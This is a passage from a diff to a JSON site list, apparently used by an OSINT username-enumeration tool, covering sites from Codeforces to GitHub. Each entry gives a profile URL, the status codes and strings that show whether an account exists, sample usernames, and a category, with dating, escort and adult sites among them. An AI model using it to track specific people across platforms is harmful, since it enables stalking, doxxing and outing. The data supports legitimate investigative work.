"jon_morris"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "codeforces", + "uri_check" : "https://codeforces.com/profile/{account}", + "e_code" : 200, + "e_string" : " - Codeforces", + "m_string" : "Codeforces", + "m_code" : 302, + "known" : ["Abdul01", "Abdullah"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "codementor", + "uri_check" : "https://www.codementor.io/@{account}", + "e_code" : 200, + "e_string" : "ABOUT ME", + "m_string" : "404/favicon.png", + "m_code" : 404, + "known" : ["e4c5", "juanelfers"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Code Project", + "uri_check" : "https://www.codeproject.com/Members/{account}", + "e_code" : 200, + "e_string" : "member since", + "m_string" : "Unable to load the requested member's information", + "m_code" : 200, + "known" : ["WmCraig", "Rick-York"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Codewars", + "uri_check" : "https://www.codewars.com/users/{account}", + "e_code" : 200, + "e_string" : "| Codewars", + "m_string" : "Whoops! The page you were looking for doesn't seem to exist.", + "m_code" : 404, + "known" : ["john", "reds"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Coderwall", + "uri_check" : "https://coderwall.com/{account}/", + "e_code" : 200, + "e_string" : "s profile |", + "m_string" : "404! Our feels when that url is used", + "m_code" : 404, + "known" : ["john", "test"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "cohost", + "uri_check" : "https://cohost.org/{account}", + "e_code" : 200, + "e_string" : "cohost! - @", + "m_string" : "Something went wrong", + "m_code" : 404, + "known" : ["vogon", "jkap"], + "cat" : "social", + "valid" : true + }, + { + "name" : "COLOURlovers", + "uri_check" : "https://www.colourlovers.com/lover/{account}", + "e_code" : 200, + "e_string" : "Color lovin' since", + "m_string" : "Lover has gone missing", + "m_code" : 410, + "known" : ["amorremanet", "bezzalopoly"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "contactos.sex", + "uri_check" : "https://www.contactossex.com/profile/{account}", + "e_code" : 200, + "e_string" : "Información Personal", + "m_string" : "Desde 2001 conectando gente!", + "m_code" : 302, + "known" : ["danijak", "darkfox"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "coroflot", + "uri_check" : "https://www.coroflot.com/{account}", + "e_code" : 200, + "e_string" : "portfolio", + "m_string" : "Looking for something?", + "m_code" : 404, + "known" : ["john", "blue"], + "cat" : "art", + "valid" : true + }, + { + "name" : "Mastodon-counter.social", + "uri_check" : "https://counter.social/@{account}", + "e_code" : 200, + "e_string" : "@counter.social) - CounterSocial", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["ericconrad", "webbreacher"], + "cat" : "social", + "valid" : true + }, + { + "name" : "cowboys4angels", + "uri_check" : "https://cowboys4angels.com/cowboy/{account}/", + "e_code" : 200, + "e_string" : " | Cowboys 4 Angels |", + "m_string" : "Elite Male Escorts", + "m_code" : 301, + "known" : ["jaxjames", "mike"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "cracked_io", + "uri_check" : "https://cracked.io/{account}", + "e_code" : 200, + "e_string" : "Cracked.io - Profile of", + "m_string" : "The member you specified is either invalid or doesn't exist", + "m_code" : 404, + "known" : ["RealPsycho", "SamWinchester"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Cracked", + "uri_check" : "https://www.cracked.com/members/{account}", + "e_code" : 200, + "e_string" : "Member Since", + "m_string" : "", + "m_code" : 302, + "known" : ["mbattagl","Hatchback"], + "cat" : "social", + "valid" : true + }, + { + "name" : "crevado", + "uri_check" : "https://{account}.crevado.com/", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "Portfolio", + "m_string" : "Site not found :-(", + "m_code" : 404, + "known" : ["john", "red"], + "cat" : "images", + "valid" : true + }, + { + "name" : "crowdin", + "uri_check" : "https://crowdin.com/profile/{account}", + "e_code" : 200, + "e_string" : ") – Crowdin", + "m_string" : "Page Not Found - Crowdin", + "m_code" : 404, + "known" : ["alex", "peter"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Cults3D", + "uri_check" : "https://cults3d.com/en/users/{account}/creations", + "e_code" : 200, + "e_string" : "All the 3D models of", + "m_string" : "Oh dear, this page is not working!", + "m_code" : 404, + "known" : ["Bstar3Dart", "john"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Curiouscat", + "uri_check" : "https://curiouscat.live/api/v2.1/profile?username={account}", + "uri_pretty" : "https://curiouscat.live/{account}", + "e_code" : 200, + "e_string" : "is_followed_by_me", + "m_code" : 200, + "m_string" : "\"error\": 404", + "known" : ["kindokja9158", "saki"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Cytoid", + "uri_check" : "https://cytoid.io/profile/{account}", + "e_code" : 200, + "e_string" : "Joined", + "m_code" : 404, + "m_string" : "Profile not found", + "known" : ["nyala", "speedymlg7"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Dailymotion", + "uri_check" : "https://www.dailymotion.com/{account}", + "e_code" : 200, + "e_string" : "og:url", + "m_string" : "404 Page not found", + "m_code" : 404, + "known" : ["WeHappyKids", "john"], + "cat" : "video", + "valid" : true + }, + { + "name" : "darudar", + "uri_check" : "https://darudar.org/users/{account}/", + "e_code" : 200, + "e_string" : ". Дарудар", + "m_string" : "404. Дару~дар: миру~мир!", + "m_code" : 404, + "known" : ["svetlana7", "igor"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "datezone", + "uri_check" : "https://www.datezone.com/users/{account}/", + "e_code" : 200, + "e_string" : "profile_status", + "m_string" : "Błąd wczytywania", + "m_code" : 200, + "known" : ["gpower550","tgoat2022"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "dateinasia", + "uri_check" : "https://www.dateinasia.com/{account}", + "e_code" : 200, + "e_string" : "About me", + "m_string" : "The page you are looking for does not exist", + "m_code" : 404, + "known" : ["Lars01", "janeferater"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "Dating.ru", + "uri_check" : "https://dating.ru/{account}/", + "e_code" : 200, + "e_string" : "| dating.ru", + "m_string" : "Такой страницы не существует.", + "m_code" : 404, + "known" : ["john", "blue"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "Mastodon-Defcon", + "uri_check" : "https://defcon.social/@{account}", + "e_code" : 200, + "e_string" : "- DEF CON Social", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["defcon", "buttersnatcher"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Demotywatory", + "uri_check" : "https://demotywatory.pl/user/{account}", + "e_code" : 200, + "e_string" : "Z nami od:", + "m_string" : "Użytkownik o podanym pseudonimie nie istnieje.", + "m_code" : 200, + "known" : ["test", "test2"], + "cat" : "images", + "valid" : true + }, + { + "name" : "depop", + "uri_check" : "https://www.depop.com/{account}/", + "e_code" : 200, + "e_string" : "s Shop - Depop", + "m_string" : "Sorry, that page doesn't exist", + "m_code" : 404, + "known" : ["sara", "susan"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Designspriation", + "uri_check" : "https://www.designspiration.com/{account}/", + "e_code" : 200, + "e_string" : "has discovered on Designspiration", + "m_string" : "Content Not Found", + "m_code" : 404, + "known" : ["sam", "smith"], + "cat" : "art", + "valid" : true + }, + { + "name" : "Destructoid", + "uri_check" : "https://www.destructoid.com/?name={account}", + "e_code" : 200, + "e_string" : "Follow", + "m_string" : "Error in query", + "m_code" : 200, + "known" : ["john", "alice", "bob"], + "cat" : "social", + "valid" : true + }, + { + "name" : "DeviantArt", + "uri_check" : "https://www.deviantart.com/{account}", + "e_code" : 200, + "e_string" : " | DeviantArt", + "m_string" : "DeviantArt: 404", + "m_code" : 404, + "known" : ["rattybike", "john"], + "cat" : "images", + "valid" : true + }, + { + "name" : "dev.to", + "uri_check" : "https://dev.to/{account}", + "e_code" : 200, + "e_string" : "- DEV", + "m_string" : "This page does not exist", + "m_code" : 301, + "known" : ["john", "bob"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "devRant", + "uri_check" : "https://devrant.com/users/{account}", + "e_code" : 200, + "e_string" : "Joined devRant on", + "m_string" : "", + "m_code" : 302, + "known" : ["dfox", "trogus"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "dfgames", + "uri_check" : "https://www.dfgames.com.br/user/{account}", + "e_code" : 200, + "e_string" : "Reputa", + "m_string" : "404 Not Found", + "m_code" : 404, + "known" : ["carlos01", "eduardo"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Diablo", + "uri_check" : "https://diablo2.io/member/{account}/", + "e_code" : 200, + "e_string" :"Viewing profile - ", + "m_string" : "The requested user does not exist", + "m_code" : 404, + "known" : ["Mike01", "John"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "diigo", + "uri_check" : "https://www.diigo.com/interact_api/load_profile_info?name={account}", + "uri_pretty" : "https://www.diigo.com/profile/{account}", + "e_code" : 200, + "e_string" : "regist_at", + "m_string" : "{}", + "m_code" : 200, + "known" : ["whoami", "johndoe"], + "cat" : "images", + "valid" : true + }, + { + "name" : "DIBIZ", + "uri_check" : "https://www.dibiz.com/{account}", + "e_code" : 200, + "e_string" : "mailto:?subject=", + "m_string" : "An Error Has Occurred", + "m_code" : 404, + "known" : ["fractalhue", "rid"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Digitalspy", + "uri_check" : "https://forums.digitalspy.com/profile/discussions/{account}", + "e_code" : 200, + "e_string" : "About", + "m_string" : "User not found", + "m_code" : 404, + "known" : ["JeffG1", "Maxatoria"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Disabled.rocks (Mastodon Instance)", + "uri_check" : "https://disabled.rocks/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://disabled.rocks/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["McCullohMD", "empressofcheer"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Discogs", + "uri_check" : "https://www.discogs.com/user/{account}", + "e_code" : 200, + "e_string" : "Joined on", + "m_code" : 404, + "m_string" : "We couldn't find that page.", + "known" : ["7jlong", "venetian-guy"], + "cat" : "music", + "valid" : true + }, + { + "name" : "Discourse", + "uri_check" : "https://meta.discourse.org/u/{account}/summary.json", + "uri_pretty" : "https://meta.discourse.org/u/{account}", + "e_code" : 200, + "e_string" : "topics", + "m_code" : 404, + "m_string" : "The requested URL or resource could not be found.", + "known" : ["ndalliard", "gerhard"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "discuss.elastic.co", + "uri_check" : "https://discuss.elastic.co/u/{account}", + "e_code" : 200, + "e_string" : " Profile", + "m_string" : "Oops!", + "m_code" : 404, + "known" : ["whoami", "johndoe"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Discuss.social (Mastodon Instance)", + "uri_check" : "https://discuss.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://discuss.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["dan", "itepe18"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Dissenter", + "uri_check" : "https://dissenter.com/user/{account}", + "e_code" : 200, + "e_string" : "Dissenter | The Comment Section of the Internet", + "m_string" : "That user is not registered here.", + "m_code" : 404, + "known" : ["pryerlee", "archdukeofevil"], + "cat" : "political", + "valid" : true + }, + { + "name" : "Disqus", + "uri_check" : "https://disqus.com/by/{account}/", + "e_code" : 200, + "e_string" : "<title>Disqus Profile", + "m_string" : "Page not found (404) - Disqus", + "m_code" : 404, + "known" : ["Aristotelian1", "50calibercat"], + "cat" : "social", + "valid" : true + }, + { + "name" : "DockerHub", + "uri_check" : "https://hub.docker.com/v2/users/{account}/", + "e_code" : 200, + "e_string" : "username", + "m_string" : "Not Found", + "m_code" : 404, + "known" : ["soxoj", "torvalds"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Donation Alerts", + "uri_check" : "https://www.donationalerts.com/api/v1/user/{account}/donationpagesettings", + "uri_pretty" : "https://www.donationalerts.com/r/{account}", + "e_code" : 200, + "e_string" : "background_image_url", + "m_code" : 202, + "m_string" : "does not exist", + "known" : ["gorou", "saku"], + "cat" : "business", + "valid" : true + }, + { + "name" : "dot.cards", + "uri_check" : "https://dot.cards/{account}", + "e_code" : 200, + "e_string" : "'s dot.Profile", + "m_string" : "Username does not exist.", + "m_code" : 404, + "known" : ["dakmusic", "seattlevoiceactor"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Dojoverse", + "uri_check" : "https://dojoverse.com/members/{account}/", + "e_code" : 200, + "e_string" : "Joined", + "m_string" : "Looks like you got lost!.", + "m_code" : 404, + "known" : ["eric", "danielrivera10927"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Dribbble", + "uri_check" : "https://dribbble.com/{account}", + "e_code" : 200, + "e_string" : " | Dribbble", + "m_string" : "(404)", + "m_code" : 404, + "known" : ["UI8", "keeplegend"], + "cat" : "art", + "valid" : true + }, + { + "name" : "Droners", + "uri_check" : "https://droners.io/accounts/{account}/", + "e_code" : 200, + "e_string" : "- Professional Drone Pilot", + "m_string" : "(404)", + "m_code" : 302, + "known" : ["chriskahn", "swilken"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Drum", + "uri_check" : "https://drum.io/{account}/", + "e_code" : 200, + "e_string" : "firstName", + "m_string" : "Page not found", + "m_code" : 302, + "known" : ["kingdirtdig", "oscarqbdrums"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Duolingo", + "uri_check" : "https://www.duolingo.com/2017-06-30/users?username={account}&_=1628308619574", + "uri_pretty" : "https://www.duolingo.com/profile/{account}", + "e_code" : 200, + "e_string" : "joinedClassroomIds", + "m_string" : "\"users\" : []", + "m_code" : 200, + "known" : ["sdfsdf", "duolingo"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "easyen", + "uri_check" : "https://easyen.ru/index/8-0-{account}", + "e_code" : 200, + "e_string" : "День рождения", + "m_string" : "Пользователь не найден", + "m_code" : 200, + "known" : ["wd"], + "cat" : "social", + "valid" : true + }, + { + "name" : "eBay", + "uri_check" : "https://www.ebay.com/usr/{account}", + "e_code" : 200, + "e_string" : "on eBay", + "m_string" : "The User ID you entered was not found", + "m_code" : 200, + "known" : ["the_gqs", "johnny"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "ebay_stores", + "uri_check" : "https://www.ebay.com/str/{account}", + "e_code" : 200, + "e_string" : "| eBay Stores", + "m_string" : "Sorry, this store was not found.", + "m_code" : 410, + "known" : ["tactical", "tactical-security"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Ello.co", + "uri_check" : "https://ello.co/{account}", + "e_code" : 200, + "e_string" : "| Ello", + "m_string" : "| [404] Not Found", + "m_code" : 404, + "known" : ["john", "franalvez"], + "cat" : "art", + "valid" : true + }, + { + "name" : "Engadget", + "uri_check" : "https://www.engadget.com/about/editors/{account}/", + "e_code" : 200, + "e_string" : "- Engadget", + "m_string" : ", -", + "m_code" : 404, + "known" : ["devindra-hardawar", "kris-holt"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "EPORNER", + "uri_check" : "https://www.eporner.com/profile/{account}/", + "e_code" : 200, + "e_string" : "Video/Pics views", + "m_string" : "Profile not found", + "m_code" : 404, + "known" : ["enron456", "Jomat999", "hicnobu"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Etsy", + "uri_check" : "https://www.etsy.com/people/{account}", + "e_code" : 200, + "e_string" : " on Etsy", + "m_string" : "Sorry, the member you are looking for does not exist", + "m_code" : 404, + "known" : ["david", "happiness"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Mastodon-EU_Voice", + "uri_pretty" : "https://social.network.europa.eu/@{account}", + "uri_check" : "https://social.network.europa.eu/api/v1/accounts/lookup?acct={account}", + "e_code" : 200, + "e_string" : "social.network.europa.eu", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["EC_DIGIT", "EUSPA"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Expressional.social (Mastodon Instance)", + "uri_check" : "https://expressional.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://expressional.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["jippi", "poolesen"], + "cat" : "social", + "valid" : true + }, + { + "name" : "ExtraLunchMoney", + "uri_check" : "https://extralunchmoney.com/user/{account}", + "e_code" : 200, + "e_string" : "Public Profile Page", + "m_string" : "Closed Profile Page", + "m_code" : 404, + "known" : ["ThatWitchMaeve", "Nudekiki"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Eyeem", + "uri_check" : "https://www.eyeem.com/u/{account}", + "e_code" : 200, + "e_string" : "| EyeEm Photographer", + "m_string" : "Not Found (404) | EyeEm", + "m_code" : 301, + "known" : ["john", "bob"], + "cat" : "art", + "valid" : true + }, + { + "name" : "F3", + "uri_check" : "https://f3.cool/{account}", + "e_code" : 200, + "e_string" : "@", + "m_string" : "Page Not Found - F3", + "m_code" : 404, + "known" : ["nick", "john"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Fabswingers", + "uri_check" : "https://www.fabswingers.com/profile/{account}", + "e_code" : 200, + "e_string" : "View Profile", + "m_string" : "The user you tried to view doesn't seem to be on the site any more", + "m_code" : 200, + "known" : ["naughty_nymphomaniac", "hellfireclub", "fabswingers.com"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "Faktopedia", + "uri_check" : "https://faktopedia.pl/user/{account}", + "e_code" : 200, + "e_string" : "Zamieszcza fakty od:", + "m_string" : "Nie znaleziono użytkownika o podanym loginie.", + "m_code" : 200, + "known" : ["janek", "ania"], + "cat" : "images", + "valid" : true + }, + { + "name" : "FanCentro", + "uri_check" : "https://fancentro.com/api/profile.get?profileAlias={account}&limit=1", + "uri_pretty" : "https://fancentro.com/{account}/", + "e_code" : 200, + "e_string" : "\"status\" :true", + "m_string" : "\"status\" :false", + "m_code" : 200, + "known" : ["medroxy","miaaamador"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "fandalism", + "uri_check" : "https://fandalism.com/{account}", + "e_code" : 200, + "e_string" : "fandalism_:user", + "m_string" : "404 - File or directory not found", + "m_code" : 404, + "known" : ["mike", "ted"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Fandom", + "uri_check" : "https://www.fandom.com/u/{account}", + "e_code" : 200, + "e_string" : "| Profile | Fandom", + "m_string" : "Not Found", + "m_code" : 404, + "known" : ["EJacobs94", "Drew_Dietsch"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "fanpop", + "uri_check" : "https://www.fanpop.com/fans/{account}", + "e_code" : 200, + "e_string" : "Fanpopping since", + "m_string" : "", + "m_code" : 302, + "known" : ["test", "johndoe"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Fark", + "uri_check" : "https://www.fark.com/users/{account}", + "e_code" : 200, + "e_string" : "Fark account number", + "m_string" : "Tastes like chicken.", + "m_code" : 200, + "known" : ["bob", "bobby"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Farkascity", + "uri_check" : "https://farkascity.org/{account}/", + "e_code" : 200, + "e_string" : "blog-title", + "m_code" : 404, + "m_string" : "Are you sure it was ever here?", + "known" : ["gutimet", "nlowell"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "fansly", + "uri_check" : "https://apiv2.fansly.com/api/v1/account?usernames={account}", + "uri_pretty" : "https://fansly.com/{account}/posts", + "e_code" : 200, + "e_string" : "username", + "m_string" : "response: []", + "m_code" : 200, + "known" : ["Mikomin","test"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "FatSecret", + "uri_check" : "https://www.fatsecret.com/member/{account}", + "e_code" : 200, + "e_string" : "- Member", + "m_string" : "Your Key to Success", + "m_code" : 302, + "known" : ["bob", "bobby"], + "cat" : "health", + "valid" : true + }, + { + "name" : "Federated.press (Mastodon Instance)", + "uri_check" : "https://federated.press/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://federated.press/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["wood", "cliffcheney"], + "cat" : "social", + "valid" : true + }, + { + "name" : "fcv", + "uri_check" : "https://fcv.if.ua/index.php/component/comprofiler/userprofile/{account}/", + "e_code" : 200, + "e_string" : "сторінка профілю", + "m_string" : "Цей профіль або більше не існує або більше не доступний", + "m_code" : 200, + "known" : ["Ruslan", "oleg"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "figma", + "uri_check" : "https://www.figma.com/@{account}", + "e_code" : 200, + "e_string" : ") on Figma Community", + "m_string" : "The page you are looking for can't be found.", + "m_code" : 404, + "known" : ["bob", "mike"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Filmweb", + "uri_check" : "https://www.filmweb.pl/user/{account}", + "e_code" : 200, + "e_string" : "Na filmwebie od", + "m_string" : "Przepraszamy. Strona, której szukasz nie została odnaleziona.", + "m_code" : 200, + "known" : ["test", "test2"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "fine_art_america", + "uri_check" : "https://fineartamerica.com/profiles/{account}", + "e_code" : 200, + "e_string" : "Shop for artwork by", + "m_string" : "Browse through millions of independent artists in our extensive", + "m_code" : 301, + "known" : ["scott-norris", "mary-helmreich"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Fiverr", + "uri_check" : "https://www.fiverr.com/{account}", + "e_code" : 200, + "e_string" : "member-since", + "m_string" : "", + "m_code" : 302, + "known" : ["yellowdd", "samanvay"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Flickr", + "uri_check" : "https://www.flickr.com/photos/{account}/", + "e_code" : 200, + "e_string" : "| Flickr", + "m_string" : "", + "m_code" : 404, + "known" : ["glaciernps", "test"], + "cat" : "images", + "valid" : true + }, + { + "name" : "Flipboard", + "uri_check" : "https://flipboard.com/@{account}", + "e_code" : 200, + "e_string" : ") on Flipboard", + "m_string" : "", + "m_code" : 404, + "known" : ["cosmopolitan", "Mashable"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "flowcode", + "uri_check" : "https://www.flowcode.com/page/{account}", + "e_code" : 200, + "e_string" : ";s Flowpage", + "m_string" : "Nobody's reserved this Flowpage yet.", + "m_code" : 404, + "known" : ["evdokia", "irina"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Fodors Forum", + "uri_check" : "https://www.fodors.com/community/profile/{account}/forum-activity", + "e_code" : 200, + "e_string" : "Member since", + "m_string" : "Plan Your Trip Online", + "m_code" : 302, + "known" : ["mms", "gooster"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Fortnite Tracker", + "uri_check" : "https://fortnitetracker.com/profile/all/{account}", + "e_code" : 200, + "e_string" : "s Fortnite Stats - Fortnite Tracker", + "m_string" : "Fortnite Player Stats -", + "m_code" : 404, + "known" : ["steph", "sam"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "forumprawne.org", + "uri_check" : "https://forumprawne.org/members/{account}.html", + "e_code" : 200, + "e_string" : "Wiadomość", + "m_string" : "", + "m_code" : 500, + "known" : ["test", "test2"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Fosstodon.org (Mastodon Instance)", + "uri_check" : "https://fosstodon.org/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://fosstodon.org/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["linux", "Phil35"], + "cat" : "social", + "valid" : true + }, + { + "name" : "fotka", + "uri_check" : "https://api.fotka.com/v2/user/dataStatic?login={account}", + "uri_pretty" : "https://fotka.com/profil/{account}", + "e_code" : 200, + "e_string" : "profil", + "m_string" : "ERROR", + "m_code" : 200, + "known" : ["test", "test2"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Foursquare", + "uri_check" : "https://foursquare.com/{account}", + "e_code" : 200, + "e_string" : "on Foursquare", + "m_string" : "Foursquare - Independent Location Data Platform", + "m_code" : 302, + "known" : ["john", "ncyp23"], + "cat" : "social", + "valid" : true + }, + { + "name" : "freelancer", + "uri_check" : "https://www.freelancer.com/u/{account}", + "e_code" : 200, + "e_string" : "> joined", + "m_string" : "Looks like the page you are looking for doesn't exist.", + "m_code" : 404, + "known" : ["desiaunty", "creatvmind"], + "cat" : "business", + "valid" : true + }, + { + "name" : "freesound", + "uri_check" : "https://freesound.org/people/{account}/", + "e_code" : 200, + "e_string" : "START of Content area", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["test", "JohnDoe"], + "cat" : "music", + "valid" : true + }, + { + "name" : "FriendFinder", + "uri_check" : "https://friendfinder.com/profile/{account}", + "e_code" : 200, + "e_string" : "Last Visit:", + "m_string" : "302 Found", + "m_code" : 302, + "known" : ["alex56", "john"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "FriendFinder-X", + "uri_check" : "https://www.friendfinder-x.com/profile/{account}", + "e_code" : 200, + "e_string" : "'s Dating Profile on FriendFinder-x", + "m_string" : "The document has moved", + "m_code" : 302, + "known" : ["john"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "Friendweb", + "uri_check" : "https://friendweb.nl/{account}", + "e_code" : 200, + "e_string" : "friendweb.nl", + "m_string" : "Page Not Found", + "m_code" : 404, + "known" : ["HoogtePiet", "JeePee"], + "cat" : "social", + "valid" : true + }, + { + "name" : "FurAffinity", + "uri_check" : "https://www.furaffinity.net/user/{account}", + "e_code" : 200, + "e_string" : "Userpage of", + "m_string" : "user cannot be found", + "m_code" : 200, + "known" : ["karintina", "mikrogoat"], + "cat" : "images", + "valid" : true + }, + { + "name" : "Furiffic", + "uri_check" : "https://www.furiffic.com/{account}", + "e_code" : 200, + "e_string" : "Registered Since", + "m_string" : "<title>Whoops · Furiffic", + "m_code" : 404, + "known" : ["furiffic", "test", "admin"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Gab", + "uri_check" : "https://gab.com/api/v1/account_by_username/{account}", + "uri_pretty" : "https://gab.com/{account}", + "e_code" : 200, + "e_string" : "followers_count", + "m_string" : "Record not found", + "m_code" : 404, + "known" : ["RealMarjorieGreene", "LaurenBoebert"], + "cat" : "political", + "valid" : true + }, + { + "name" : "game_debate", + "uri_check" : "https://www.game-debate.com/profile/{account}", + "e_code" : 200, + "e_string" : "| , , GB pc game performance", + "m_string" : "Not Found", + "m_code" : 404, + "known" : ["Johnboy", "Crazy"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Game Jolt", + "uri_check" : "https://gamejolt.com/site-api/web/profile/@{account}/", + "uri_pretty" : "https://gamejolt.com/@{account}", + "e_code" : 200, + "e_string" : "created_on", + "m_string" : "null,", + "m_code" : 404, + "known" : ["nilllzz", "KorbloxTeams"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Gamespot", + "uri_check" : "https://www.gamespot.com/profile/{account}/", + "e_code" : 200, + "e_string" : "'s Profile - GameSpot", + "m_string" : "404: Not Found - GameSpot", + "m_code" : 200, + "known" : ["alice", "bob"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Garmin connect", + "uri_check" : "https://connect.garmin.com/modern/profile/{account}", + "e_code" : 200, + "e_string" : "window.ERROR_VIEW = null", + "m_string" : "resourceNotFoundRoute", + "m_code" : 200, + "known" : ["danielebarison", "cderalow"], + "cat" : "health", + "valid" : true + }, + { + "name" : "Geocaching", + "uri_check" : "https://www.geocaching.com/p/?u={account}", + "e_code" : 200, + "e_string" : "Groundspeak - User Profile", + "m_string" : "Error 404: DNF", + "m_code" : 404, + "known" : ["moun10bike", "niraD"], + "cat" : "social", + "valid" : true + }, + { + "name" : "getmonero", + "uri_check" : "https://forum.getmonero.org/user/{account}", + "e_code" : 200, + "e_string" :"Monero | User", + "m_string" : "Monero | Page not found. Error: 404", + "m_code" : 200, + "known" : ["silverfox", "monero"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Gettr", + "uri_check" : "https://api.gettr.com/s/user/{account}/exist", + "uri_pretty" : "https://gettr.com/user/{account}", + "e_code" : 200, + "e_string" : "success\":{", + "m_string" : "success\":false", + "m_code" : 200, + "known" : ["gettr", "support"], + "cat" : "social", + "valid" : true + }, + { + "name" : "gfycat", + "uri_check" : "https://gfycat.com/@{account}", + "e_code" : 200, + "e_string" : "gfycat-username", + "m_string" : "

Page not found

", + "m_code" : 404, + "known" : ["timviechanoi", "sannahparker"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Gigapan", + "uri_check" : "https://www.gigapan.com/profiles/{account}", + "e_code" : 200, + "e_string" : "width=\"100\"", + "m_string" : "View Gigapans", + "m_code" : 404, + "known" : ["test", "lucahammer"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Giphy", + "uri_check" : "https://giphy.com/channel/{account}", + "e_code" : 200, + "e_string" : "Share on GIPHY", + "m_string" : "404 Not Found", + "m_code" : 404, + "known" : ["buzz", "test"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Girlfriendsmeet", + "uri_check" : "http://www.girlfriendsmeet.com/profile/{account}", + "e_code" : 200, + "e_string" : "online dating profile", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["john", "junech"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "gitea", + "uri_check" : "https://gitea.com/{account}", + "e_code" : 200, + "e_string" : "(Git with a cup of tea)", + "m_string" : "Not found.", + "m_code" : 404, + "known" : ["xin", "dev"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "giters", + "uri_check" : "https://giters.com/{account}", + "e_code" : 200, + "e_string" : " - Giters", + "m_string" : "This page could not be found", + "m_code" : 404, + "known" : ["WebBreacher", "C3n7ral051nt4g3ncy"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "GitHub", + "uri_check" : 